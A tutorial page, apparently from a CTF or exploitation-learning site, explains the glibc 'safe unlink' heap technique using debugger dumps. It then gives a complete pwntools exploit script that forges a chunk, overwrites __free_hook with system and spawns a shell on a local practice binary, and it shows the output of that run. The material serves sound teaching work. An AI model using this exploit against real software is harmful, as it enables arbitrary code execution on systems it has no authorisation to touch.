Skip to content

Safe Unlink

Technique

Create a fake chunk within an existing chunk and manipulate the consolidation process to alter a pointer utilized by the program. In order to establish a secure unlink, you need to overwrite the metadata of the subsequent chunk. Ensure that the fd (forward pointer), bk (backward pointer), size, and prev_size are all valid.

Checks: - The target chunk is located within the free list, - The fd->bk and bk->fd should both correspond to the target chunk to validate its presence in the free list. - The prev_size is equal to the victim chunk's size.

For example, if p equals 0x2133010, then fd->bk is equals to p and bk->fd is also equals to p.

pwndbg> p *((struct malloc_chunk*)0x2133010)
$1 = {
  mchunk_prev_size = 0,
  mchunk_size = 128,
  fd = 0x602048,
  bk = 0x602050,
  fd_nextsize = 0x4242424242424242,
  bk_nextsize = 0x4242424242424242
}
pwndbg> p *((struct malloc_chunk*)0x2133010).fd
$2 = {
  mchunk_prev_size = 0,
  mchunk_size = 0,
  fd = 0x0,
  bk = 0x2133010,
  fd_nextsize = 0x88,
  bk_nextsize = 0x21330a0
}
pwndbg> p *((struct malloc_chunk*)0x2133010).bk
$3 = {
  mchunk_prev_size = 0,
  mchunk_size = 0,
  fd = 0x2133010,
  bk = 0x88,
  fd_nextsize = 0x21330a0,
  bk_nextsize = 0x88
}

Exploit Script

The given binary employs the m_array list to store pointers to allocated chunks as a local variable situated on the stack. The objective is to overwrite the pointers of m_array[0], subsequently modifying the allocated chunk n°0 to achieve arbitrary write starting at m_array[0].

Following this, you can obtain a shell by utilizing a one-gadget on libc or by calling free on /bin/sh with a __free_hook that points to system.

#!/usr/bin/env python3
from pwn import *


def malloc(size):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"size: ", str(size).encode())

def edit(idx, data):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"index: ", str(idx).encode())
    io.sendafter(b"data: ", data)

def free(idx):
    io.sendlineafter(b"> ", b"3")
    io.sendlineafter(b"index: ", str(idx).encode())

def print_target():
    io.sendlineafter(b"> ", b"4")
    io.recvuntil(b"target: ")
    print(io.recvline().strip())

def read_leak():
    io.recvuntil(b"puts() @ ")
    puts_addr = int(io.recvline().strip(), 16)
    return puts_addr

# -----[ CONTEXT ]-----
DEBUG = False 
BINARY = "./safe_unlink"
LIBC = "../.glibc/glibc_2.30_no-tcache/libc.so.6"
elf = context.binary = ELF(BINARY, checksec=False)
libc = ELF(LIBC, checksec=False)

context.log_level = "debug" if DEBUG else "info"

# -----[ EXPLOIT ]-----
if DEBUG:
    io = gdb.debug([BINARY], gdbscript="""
    continue
    """)
else:
    io = process([BINARY])

# Read the leak & calculate the addresses
puts = read_leak()
libc.address = puts - libc.sym["puts"]
print(f"puts: {hex(puts)}")
print(f"libc: {hex(libc.address)}")

m_array = elf.sym["m_array"]
target = elf.sym["target"]
print(f"m_array: {hex(m_array)}")
print(f"target: {hex(target)}")

W = 8
one_gadget = libc.address + 0xe1fa1 

# ---------------------------
CHUNK_SIZE = 0x90
DATA_SIZE = 0x90 - W
FAKE_SIZE = 0x80

malloc(DATA_SIZE)
malloc(DATA_SIZE)

fd = p64(m_array - 0x18) # Fake fd (valid)
bk = p64(m_array - 0x10) # Fake bk (valid)
prev_size = p64(FAKE_SIZE) # Fake prev_size (valid)
second_chunk_size = p64(CHUNK_SIZE) # Overwrite the prev_inuse flag to 0

# Create the fake chunk at chunk + 0x10 (so the fake_size is 0x90 - 0x10 = 0x80)
payload = p64(0) + p64(FAKE_SIZE) + fd + bk + b"B" * W * 12 + prev_size + second_chunk_size
edit(0, payload)
free(1) # Trigger unlinking

"""
# Replace m_array[0] with the address we want to overwrite

# Overwrite the target to test our exploit
edit(0, b"A" * W * 3 + p64(target))
edit(0, b"Hello world !!!")
print_target()

# 1) Get a shell by using a LIBC one_gadget
edit(0, b"A" * W * 3 + p64(libc.sym["__free_hook"]))
edit(0, p64(one_gadget))
free(0)
"""

# 2) Get a shell using system(@ "/bin/sh") instead of free(@ "/bin/sh")
# m_array[0] = @ "/bin/sh"
# __free_hook = system
edit(0, b"A" * W * 3 + p64(libc.sym["__free_hook"] - len(b"/bin/sh\x00")))
edit(0, b"/bin/sh\x00" + p64(libc.sym["system"]))
free(0)

io.interactive()

Execution

python3 xpl_safe_unlink.py
[+] Starting local process './safe_unlink': pid 13252
puts: 0x7eeacf06faf0
libc: 0x7eeacf000000
m_array: 0x602060
target: 0x602010
[*] Switching to interactive mode
$ id
uid=1001(xanhacks) gid=1001(xanhacks) groups=1001(xanhacks),998(wheel)

References